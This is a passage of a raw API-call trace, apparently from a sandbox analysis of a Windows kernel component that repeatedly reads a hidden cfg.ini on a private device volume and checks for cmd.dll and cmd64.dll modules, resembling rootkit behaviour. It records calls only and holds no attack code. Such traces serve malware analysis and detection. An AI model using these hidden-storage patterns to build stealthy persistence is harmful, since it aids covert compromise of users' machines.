returned 0xfffffa8003baf190 [0120.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.097] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.097] IdePortDispatch () returned 0x103 [0120.097] KeWaitForMutexObject () returned 0x0 [0120.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.097] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.097] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.097] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.097] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.097] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd2c0 [0120.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.097] KeLeaveCriticalRegion () [0120.097] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.097] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.097] KeEnterCriticalRegion () [0120.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.097] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.097] KeLeaveCriticalRegion () [0120.097] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.097] KeEnterCriticalRegion () [0120.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.098] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.098] IdePortDispatch () returned 0x103 [0120.098] KeWaitForMutexObject () returned 0x0 [0120.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.098] KeLeaveCriticalRegion () [0120.098] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.098] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.098] KeEnterCriticalRegion () [0120.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df3000 [0120.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.098] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.098] IdePortDispatch () returned 0x103 [0120.098] KeWaitForMutexObject () returned 0x0 [0120.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.098] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.098] IdePortDispatch () returned 0x103 [0120.098] KeWaitForMutexObject () returned 0x0 [0120.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.099] KeLeaveCriticalRegion () [0120.099] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.099] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.099] KeEnterCriticalRegion () [0120.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.099] KeLeaveCriticalRegion () [0120.099] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.099] KeEnterCriticalRegion () [0120.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.099] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.099] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2a50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.099] KeLeaveCriticalRegion () [0120.099] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.099] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.099] KeEnterCriticalRegion () [0120.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.099] ExFreePoolWithTag (P=0xfffffa8003bcd2c0, Tag=0x0) [0120.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.099] KeLeaveCriticalRegion () [0120.099] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.100] ReleaseMutex (hMutex=0xf0) returned 1 [0120.100] Sleep (dwMilliseconds=0x124f80) [0120.114] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.114] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.114] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.114] KeEnterCriticalRegion () [0120.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.114] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.114] IdePortDispatch () returned 0x103 [0120.114] KeWaitForMutexObject () returned 0x0 [0120.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.114] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.114] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.114] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.114] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.114] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.114] KeLeaveCriticalRegion () [0120.114] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.114] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.114] KeEnterCriticalRegion () [0120.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.114] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.114] KeLeaveCriticalRegion () [0120.114] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.114] KeEnterCriticalRegion () [0120.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.115] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.115] IdePortDispatch () returned 0x103 [0120.115] KeWaitForMutexObject () returned 0x0 [0120.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.115] KeLeaveCriticalRegion () [0120.115] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.115] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.115] KeEnterCriticalRegion () [0120.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.115] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df8000 [0120.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.115] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.115] IdePortDispatch () returned 0x103 [0120.115] KeWaitForMutexObject () returned 0x0 [0120.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.115] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.115] IdePortDispatch () returned 0x103 [0120.115] KeWaitForMutexObject () returned 0x0 [0120.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.116] KeLeaveCriticalRegion () [0120.116] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.116] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.116] KeEnterCriticalRegion () [0120.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.116] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.116] KeLeaveCriticalRegion () [0120.116] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.116] KeEnterCriticalRegion () [0120.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.116] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.116] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.116] KeLeaveCriticalRegion () [0120.116] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.116] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.116] KeEnterCriticalRegion () [0120.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.116] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.116] KeLeaveCriticalRegion () [0120.117] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.117] ReleaseMutex (hMutex=0xf0) returned 1 [0120.117] Sleep (dwMilliseconds=0x124f80) [0120.131] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.131] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.131] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.131] KeEnterCriticalRegion () [0120.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.131] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.131] IdePortDispatch () returned 0x103 [0120.131] KeWaitForMutexObject () returned 0x0 [0120.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.131] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.131] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.131] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.131] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.132] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc29f0 [0120.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.132] KeLeaveCriticalRegion () [0120.132] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.132] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.132] KeEnterCriticalRegion () [0120.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.132] KeLeaveCriticalRegion () [0120.132] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.132] KeEnterCriticalRegion () [0120.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.132] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.132] IdePortDispatch () returned 0x103 [0120.132] KeWaitForMutexObject () returned 0x0 [0120.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.132] KeLeaveCriticalRegion () [0120.132] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.132] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.132] KeEnterCriticalRegion () [0120.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfe000 [0120.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.132] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.132] IdePortDispatch () returned 0x103 [0120.132] KeWaitForMutexObject () returned 0x0 [0120.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.133] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.133] IdePortDispatch () returned 0x103 [0120.133] KeWaitForMutexObject () returned 0x0 [0120.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.133] KeLeaveCriticalRegion () [0120.133] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.133] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.133] KeEnterCriticalRegion () [0120.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.133] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.133] KeLeaveCriticalRegion () [0120.134] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.134] KeEnterCriticalRegion () [0120.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.134] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.134] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.134] KeLeaveCriticalRegion () [0120.134] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.134] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.134] KeEnterCriticalRegion () [0120.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.134] ExFreePoolWithTag (P=0xfffffa8003bc29f0, Tag=0x0) [0120.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.134] KeLeaveCriticalRegion () [0120.134] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.134] ReleaseMutex (hMutex=0xf0) returned 1 [0120.134] Sleep (dwMilliseconds=0x124f80) [0120.151] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.151] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.151] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.151] KeEnterCriticalRegion () [0120.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.151] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.151] IdePortDispatch () returned 0x103 [0120.151] KeWaitForMutexObject () returned 0x0 [0120.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.151] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.151] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.151] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.151] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.151] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.151] KeLeaveCriticalRegion () [0120.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.151] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.151] KeEnterCriticalRegion () [0120.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.152] KeLeaveCriticalRegion () [0120.152] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.152] KeEnterCriticalRegion () [0120.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.152] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.152] IdePortDispatch () returned 0x103 [0120.152] KeWaitForMutexObject () returned 0x0 [0120.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.152] ExReleaseFastMutexUnsafe (in: 